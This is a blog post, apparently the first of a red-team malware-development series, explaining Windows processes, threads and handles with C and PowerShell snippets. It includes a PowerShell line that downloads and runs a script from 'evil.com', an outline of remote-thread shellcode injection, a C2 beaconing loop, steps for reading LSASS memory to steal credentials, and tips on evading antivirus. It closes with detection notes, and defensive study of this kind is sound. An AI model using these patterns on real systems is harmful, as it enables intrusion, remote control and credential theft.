MalwareDevelopment 101 – Part 1: Understanding the Foundations

MalwareDevelopment 101 – Part 1: Understanding the Foundations

This blog series is the written companion to our Malware Development: Red Team Tradecraft YouTube playlist, where we walk through live demos of the evasion techniques discussed here, including payload staging, AV/EDR bypass, and in-memory, on disk, and network evasion. We recommend following along with the playlist alongside these posts. 

Disclaimer

This blog series is designed for cybersecurity professionals, red teamers, and security analysts who want to understand malware development from an offensive and defensive perspective. The knowledge shared here is meant to help you better create, detect, analyze, and defend against malicious software, and for red team engagements. Always use this information ethically and legally within authorized security assessments and controlled environments.

Introduction

In this multi-part series, we will explore the fundamentals of malware development (maldev) from a cybersecurity analyst’s perspective. Before you can effectively create, analyze, detect, or defend against sophisticated malware, you need to understand how it works under the hood. This isn’t about teaching you to write malware – it’s about giving you the foundational knowledge to think like an attacker so you can defend better.

Modern malware is far more sophisticated than simple viruses of the past. Today’s threats use advanced techniques like process injection, in-memory execution, API unhooking, and syscall invocation to evade detection. To understand these techniques, we first need to master the building blocks: processes, threads, memory, and handles.

This first part of our Maldev 101 series will cover:

  • The Factory Analogy – Understanding processes, threads, and handles through a simple mental model
  • When to Use What – Decision framework for choosing the right component
  • Memory vs. Disk – Why fileless malware is so prevalent
  • Windows API Fundamentals – The interface between code and the operating system
  • Practical Examples – Real-world code snippets demonstrating core concepts

By the end of this post, you’ll have a solid foundation to understand how malware interacts with the Windows operating system at a low level.

Understanding Core Concepts

We will use a factory analogy to break down all the concepts (processes, threads, and handles).

A Process is Like a Factory

It has its own space, resources (machines, tools), and workers. Each factory (process) is independent and doesn’t share resources with other factories. When you launch an application like notepad.exe or chrome.exeWindows creates a process for it with its own memory space, environment variables, and execution context.

Key Characteristics:

– Isolated memory space – One process cannot directly access another process’s memory

– Own resources – Each process has its own handles, environment variables, and loaded DLLs

– Independent execution – Crashing one process doesn’t crash others

– Security boundary – Different processes can run with different privilege levels

A Thread is Like a Worker Inside the Factory

Workers (threads) share the factory’s resources (memory, tools) and can work on tasks simultaneously. A single process can have multiple threads running concurrently, all sharing the same memory space.

Key Characteristics:

– Shared memory – All threads in a process can access the same memory

– Concurrent execution – Multiple threads can run simultaneously on multiple CPU cores

– Lightweight – Creating threads is faster than creating processes

– Communication – Threads can easily share data through shared memory

A Handle is Like a Worker’s ID Badge

It’s not the worker itself, but it lets you interact with the worker (e.g., assign tasks, check status, or stop them). In Windows, a handle is a reference to a system resource – it could be a file, process, thread, registry key, or any other kernel object.

Key Characteristics:

– Reference to resource – Not the resource itself, but a way to access it

– Managed by kernel – Windows keeps track of what each handle refers to

– Access control – Handles can have different permission levels

– Cleanup required – Should be closed when no longer needed to avoid resource leaks

In Short

  • Process = Factory (the big picture, isolated environment)
  • Thread = Worker (does the actual work)
  • Handle = ID badge (lets you control and interact with resources)

Example in Code

// CreateThread = Hire a new worker (thread) and give them a badge (handle)
HANDLE hThread = CreateThread(NULL, 0, MyFunction, NULL, 0, NULL);
// WaitForSingleObject = Use the badge (handle) to wait for the worker to finish
WaitForSingleObject(hThread, INFINITE);
// CloseHandle = Return the badge when done
CloseHandle(hThread);

This analogy keeps it simple and ties everything together!

Decision Framework: When to Use Handles, Threads, or Processes

When writing malware for red teaming (or more ethically, red team tools), deciding whether you need a handle, thread, or process depends on what you’re trying to accomplish. Here’s a breakdown to guide your decision:

1. Handles

What they are: References to system resources (files, registry keys, processes, threads, etc.)

When to use:

– Anytime you interact with system resources

– Opening a file (CreateFile) – Accessing a process (OpenProcess)

– Creating a mutex to prevent multiple instances

Example:

// Opening a handle to another process for injection
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, targetPID);
if (hProcess == NULL) {
    printf("Failed to open process. Error: %lu\n", GetLastError());
    return 1;
}
// Use the handle for operations like VirtualAllocEx, WriteProcessMemory
// ...
// Always close handles when done
CloseHandle(hProcess);

Use handles when you’re interacting with or controlling Windows system objects.

2. Threads

What they are: Units of execution within a process.

When to use:

– You want to run code concurrently without launching a new process

– For code injection, e.g., CreateRemoteThread, NtCreateThreadEx

– To run background tasks, like keylogging or beaconing to a C2 server

Example:

// Local thread in your own process for background tasks
DWORD WINAPI BackgroundBeacon(LPVOID lpParam) {
    while (true) {
        // Send heartbeat to C2 server
        SendBeacon();
        Sleep(60000); // Sleep for 1 minute
    }
    return 0;
}
// Create the thread
HANDLE hThread = CreateThread(NULL, 0, BackgroundBeacon, NULL, 0, NULL);

Threads are useful when stealth and performance are key – they stay within the same process, making detection harder.

3. Processes

What they are: Executable instances with their own memory space.

When to use:

– Running a separate executable

– Impersonation or parent process spoofing (e.g., CreateProcess with PPID spoofing)

– Offloading heavy tasks without risking the parent tool – Blending into normal system behavior

Example:

STARTUPINFO si = { sizeof(si) };
PROCESS_INFORMATION pi;
// Launch a new process (e.g., cmd.exe)
if (CreateProcess(
    "C:\\Windows\\System32\\cmd.exe",
    NULL,
    NULL,
    NULL,
    FALSE,
    0,
    NULL,
    NULL,
    &si,
    &pi
)) {
    printf("Process created with PID: %lu\n", pi.dwProcessId);
    CloseHandle(pi.hProcess);
    CloseHandle(pi.hThread);
}

Use processes when you need isolation, separate execution, or to blend into normal system behavior.

Quick Decision Guide

GoalUse
Accessing system resourcesHandle
Running code in another processRemote Thread (after getting a Process Handle)
Background tasks in same processThread
Executing a separate binaryProcess (CreateProcess)
Code injectionProcess Handle + Remote Thread (or Thread Hijacking / APC)
Avoid crashing main toolSeparate Process
Shared access to a kernel objectHandle

Understanding Memory vs. Disk: The Rise of Fileless Malware

Understanding memory vs. disk is crucial in malware development and red teaming, especially when discussing fileless malware.

Disk vs. Memory – What’s the Difference?

AspectDisk-basedMemory-based (Fileless)
Stored onHard drive / file systemRAM (volatile memory)
Leaves artifact?Yes – can be scanned by AVNo (or minimal) – hard to detect
PersistenceSurvives rebootsLost on reboot unless memory persistence is used
Speed of executionSlower (I/O bottlenecks)Faster
Detection riskHigh – static signature scanLower – must be caught in memory

Fileless Malware – Example Workflow

Here’s a simplified example of how fileless malware operates:

Scenario: Inject shellcode into memory without writing any file to disk.

Steps:

  1. Payload stored in a remote server or encoded in the binary

    • No malware.exe written to disk
  2. PowerShell or an EXE loads the payload directly into memory

    IEX (New-Object Net.WebClient).DownloadString('http://evil.com/payload.ps1')
  3. Shellcode gets allocated in memory

    • Use VirtualAlloc, RtlMoveMemory, or WriteProcessMemory
  4. Run the payload using a thread

    CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)shellcodeBuffer, NULL, 0, NULL);
  5. No trace on disk – nothing saved to a .exe, .dll, or .bat

Real-World Tools That Use Fileless Tactics

  • Cobalt Strike (via Beacon in-memory execution)
  • Metasploit (payloads injected into memory)
  • PowerShell Empire (pure memory-based post-exploitation)
  • Living-off-the-Land (LOLBin) attacks, e.g., using rundll32, mshta, wscript to load code from memory

Why Go Fileless?

  • Avoid antivirus and EDR static detection – No file on disk = no file to scan
  • Leave little to no forensic footprint – Harder to find evidence after the fact
  • More flexible with in-memory patching and code injection

Quick Visual:

Disk-based:
  [Malware.exe] --> Written to disk --> AV scans it --> Executes
Memory-based (fileless):
  [Shellcode] --> Loaded into RAM only --> Executes directly --> No file saved

Putting It All Together: Common Malware Flows

Now that we understand the individual components, let’s see how they combine in real-world scenarios.

Scenario 1: Classic Code Injection

Goal: Inject shellcode into another process (e.g., notepad.exe)

Components Needed:

– Handle (to target process)

– Memory (allocate space in target)

– Thread (execute the shellcode)

Code Flow:

// 1. Open handle to target process
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, targetPID);
// 2. Allocate memory in target process
LPVOID remoteBuffer = VirtualAllocEx(hProcess, NULL, shellcodeSize, 
                                     MEM_COMMIT, PAGE_EXECUTE_READWRITE);
// 3. Write shellcode into allocated memory
WriteProcessMemory(hProcess, remoteBuffer, shellcode, shellcodeSize, NULL);
// 4. Create remote thread to execute shellcode
HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, 
                                    (LPTHREAD_START_ROUTINE)remoteBuffer, 
                                    NULL, 0, NULL);
// 5. Cleanup
CloseHandle(hThread);
CloseHandle(hProcess);

Scenario 2: C2 Beaconing

Goal: Maintain connection with Command & Control server

Components Needed:

– Thread (background communication)

– Network API (HTTP/HTTPS requests)

Code Flow:

DWORD WINAPI BeaconThread(LPVOID lpParam) {
    while (true) {
        // Send heartbeat to C2
        char* response = SendHTTPRequest("https://c2server.com/beacon");
        
        // Process commands from C2
        if (response != NULL) {
            ExecuteCommand(response);
        }
        
        // Sleep to avoid detection (jitter can be added)
        Sleep(60000); // 1 minute
    }
    return 0;
}
// Start background beaconing
CreateThread(NULL, 0, BeaconThread, NULL, 0, NULL);

Scenario 3: Credential Theft (LSASS Dumping)

Goal: Read memory from lsass.exe to steal credentials

Components Needed:

– Handle (to LSASS process with appropriate permissions)

– ReadProcessMemory (extract credential data)

Code Flow:

// 1. Find LSASS process ID
DWORD lsassPID = FindProcessByName("lsass.exe");
// 2. Enable SeDebugPrivilege (required to access LSASS)
EnableDebugPrivilege();
// 3. Open handle to LSASS
HANDLE hLSASS = OpenProcess(PROCESS_VM_READ | PROCESS_QUERY_INFORMATION, 
                            FALSE, lsassPID);
// 4. Read memory regions
unsigned char buffer[4096];
SIZE_T bytesRead;
ReadProcessMemory(hLSASS, targetAddress, buffer, sizeof(buffer), &bytesRead);
// 5. Parse credentials (using tools like Mimikatz logic)
ParseCredentials(buffer, bytesRead);
// 6. Cleanup
CloseHandle(hLSASS);

Common Malware Component Combinations

TaskElements Involved
Code InjectionHandle (to target) + Memory + Thread
C2 BeaconingThread + Network API
PersistenceRegistry (Handle) + Scheduled Task (Process)
AV EvasionSyscalls + Memory only + Obfuscation
Credential TheftHandle to LSASS + ReadProcessMemory
DLL InjectionLoadLibrary (own process) or reflective load (target process)
Fileless ExecutionMemory + Thread + No disk I/O

General Rule of Thumb

  • Think stealth? → Use threads, memory, and syscalls
  • Need control or interaction? → Use handles
  • Running something external or isolated? → Use processes
  • Avoid detection? → Use fileless, masquerading, and low-level APIs

Conclusion

In this first part of the Maldev 101 series, we’ve covered the fundamental building blocks that every cybersecurity analyst needs to understand before diving deeper into malware development:

Key Takeaways:

  1. Processes, Threads, and Handles are the core components of Windows execution – understanding their relationship is crucial
  2. Memory-based (fileless) malware is harder to detect than disk-based malware because it leaves minimal forensic artifacts
  3. Choosing the right component (handle, thread, or process) depends on your goal: control, execution, or isolation
  4. Real-world malware combines these components in sophisticated ways to achieve stealth and persistence

What’s Coming Next:

In Part 2, we’ll dive into:

  • Windows API deep dive – Understanding which APIs to use and when
  • PE file format – How executables are structured
  • Process injection techniques – Classic and modern methods
  • Detection considerations – How defenders spot these techniques

This knowledge isn’t just about understanding how malware works – it’s about building the mental models necessary to create or defend against it. As a red teamer or a cybersecurity analyst, knowing how attackers leverage these Windows fundamentals will help you:

  • Better analyse malicious samples in your sandbox
  • Improve detection rules in your SIEM/EDR
  • Understand the capabilities and limitations of different malware families
  • Communicate effectively with red teams and threat intelligence teams

Resources for Further Learning

  • Essential Reading:
    • Windows Internals by Mark Russinovich
    • The definitive guide to Windows architecture
    • Practical Malware Analysis by Michael Sikorski & Andrew Honig
    • Hands-on malware analysis
    • Microsoft Learn Documentation
    • Official Windows API reference
  • Tools to Explore:
    • Process Hacker – Advanced process viewer
    • x64dbg – Windows debugger
    • PE-bear – PE file analysis
    • Sysinternals Suite – Process Monitor, Process Explorer, etc.
  • Practice Environments:
    • Set up isolated VMs (Windows 7, 10, Server editions)
    • Use sandboxing solutions (VMware, VirtualBox with internal-only networks)
    • Never test on production systems or outside authorized environments

Detections & Mitigations

Understanding these fundamentals also helps with detection:

  • Process Injection Detection
    • T1055 – Monitor for suspicious OpenProcess, VirtualAllocEx, WriteProcessMemory, CreateRemoteThread call sequences
    • Look for unexpected cross-process memory operations
  • Fileless Execution
    • T1027, T1059 – Monitor PowerShell execution and script block logging
    • Track processes with unusual memory allocations
    • Detect LOLBin abuse patterns
  • Credential Dumping
    • T1003 – Monitor access to LSASS process memory
    • Alert on SeDebugPrivilege usage
    • Implement LSA Protection and Credential Guard
Share the Post:

Table of Contents

Subscribe To Our Blog

Light